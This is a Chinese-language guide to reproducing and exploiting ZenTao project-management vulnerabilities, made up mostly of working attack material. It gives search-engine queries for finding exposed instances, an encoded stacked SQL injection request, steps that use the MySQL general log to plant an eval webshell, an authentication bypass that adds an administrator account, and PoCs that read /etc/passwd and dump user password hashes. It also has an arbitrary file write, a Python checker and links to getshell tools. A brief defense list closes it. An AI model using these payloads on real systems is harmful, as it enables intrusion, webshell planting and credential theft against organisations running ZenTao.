禅道各版本漏洞复现汇总上篇
字数 1435 2025-08-18 11:38:56
禅道各版本漏洞复现与利用指南
禅道产品概述
禅道是国产开源项目管理软件,集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体。官网地址:https://www.zentao.net/
资产测绘方法
- Fofa:
app="易软天创-禅道系统"或icon_hash="53755730" - Hunter:
app.name="ZenTao 禅道 ALM" - Quaker:
app:"禅道系统"或favicon: "b1d3deb4bd16c8c1637235515deea114"
基本信息收集
-
版本信息获取:
/zentao/index.php?mode=getconfig -
绝对路径获取:
/zentaopms/www/index.php?m=user&f=login1/www/zentaopms/framework/base/router.class.php -
默认凭证:
admin/123456(通常安装后会强制修改)
漏洞复现与利用
1. zentaopms-9.1.2 SQL注入&Getshell
漏洞描述: orderBy处理过程中存在SQL注入问题,可堆叠注入。
POC:
GET /zentaopms/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwNzM2YzY1NjU3MDI4MzUyOTtQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ== HTTP/1.1
Host: [target]
Referer: http://[target]/zentaopms/
利用步骤:
-
开启MySQL日志:
set global general_log='on'; -
更改日志路径:
set global general_log_file='/www/zentaopms/module/misc/ext/model/foo.php'; -
写入Webshell:
select '<?php @eval($_POST[1])?>'; -
关闭日志:
set global general_log='off'; -
访问Webshell:
http://[target]/zentaopms/module/misc/ext/model/foo.php密码:
1
漏洞分析:
- 漏洞点在于orderBy处理过程中的SQL注入
- 采用日志写shell的方式
- 需要手动添加Referer头:
Referer: http://[target]/zentaopms/
2. 禅道8.2-9.2.1前台Getshell
利用工具:
python exp.py http://127.0.0.1:81/ jas502n.php
工具地址: https://github.com/jas502n/zentao-getshell
3. 禅道身份认证绕过(QVD-2024-15263)
影响版本:
- 开源版: v16.x <= 禅道 < v18.12
- 企业版: v6.x <= 禅道 < v8.12
- 旗舰版: v3.x <= 禅道 < v4.12
复现步骤:
-
获取有效cookie:
GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=hxsjoqkyiveutbzwlvjv&branch=rbpcotcxawqpqhvhqfpp HTTP/1.1 Host: [target] -
添加用户(403响应表示成功):
POST /biz/api.php/v1/users HTTP/1.1 Host: [target] Cookie: zentaosid=[cookie] {"account": "asda33", "password": "QQqq123456", "realname": "asda33", "role": "top", "group": "1"}
检测工具:
- https://github.com/kkbo8005/poctools
- 或使用afrog进行检测
4. 禅道11.6任意文件读取漏洞
POC:
http://[target]/api-getModel-file-parseCSV-fileName=/etc/passwd
http://[target]/api-getModel-api-getMethod-filePath=/etc/passwd/1
环境搭建:
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
漏洞分析:
parseCSV方法中file_get_contents直接读取文件内容- 以
.php或.txt结尾的文件会被过滤
5. 禅道11.6 SQL注入漏洞
POC:
http://[target]/api-getModel-api-sql-sql=select+account,password+from+zt_user
漏洞分析:
module/api/moudel.php中的sql函数未充分过滤- 仅使用
trim($sql)过滤空格 - 限制只能执行SELECT语句
6. 禅道11.6任意文件写入漏洞
POC:
POST /api-getModel-editor-save-filePath=/tmp/test HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo()?>');?>
文件包含执行:
http://[target]/api-getModel-api-getMethod-filePath=/tmp/test/1234
检测脚本:
#!/usr/bin/python3
import requests
def check_vuln(target_url, zentaosid):
headers = {"Cookie": f"zentaosid={zentaosid}"}
# 尝试写入文件
data = {"fileContent": "<?php phpinfo();?>"}
requests.post(f"{target_url}/api-getModel-editor-save-filePath=/tmp/test",
data=data, headers=headers)
# 验证文件包含
response = requests.get(f"{target_url}/api-getModel-api-getMethod-filePath=/tmp/test/1",
headers=headers)
if "System" in response.text:
print(f"漏洞存在! Webshell地址: {target_url}/api-getModel-api-getMethod-filePath=/tmp/test/1/")
总结
-
漏洞利用关键点:
- 注意Referer头的添加
- 不同版本有不同的利用方式
- 11.6版本存在多个接口未授权访问问题
-
防御建议:
- 及时更新到最新版本
- 限制API接口访问权限
- 对用户输入进行严格过滤
-
学习资源:
- 官方手册: https://www.zentao.net/book/api/setting-369.html
- 漏洞分析文章: https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
-
工具集合:
- zentao-getshell: https://github.com/jas502n/zentao-getshell
- poctools: https://github.com/kkbo8005/poctools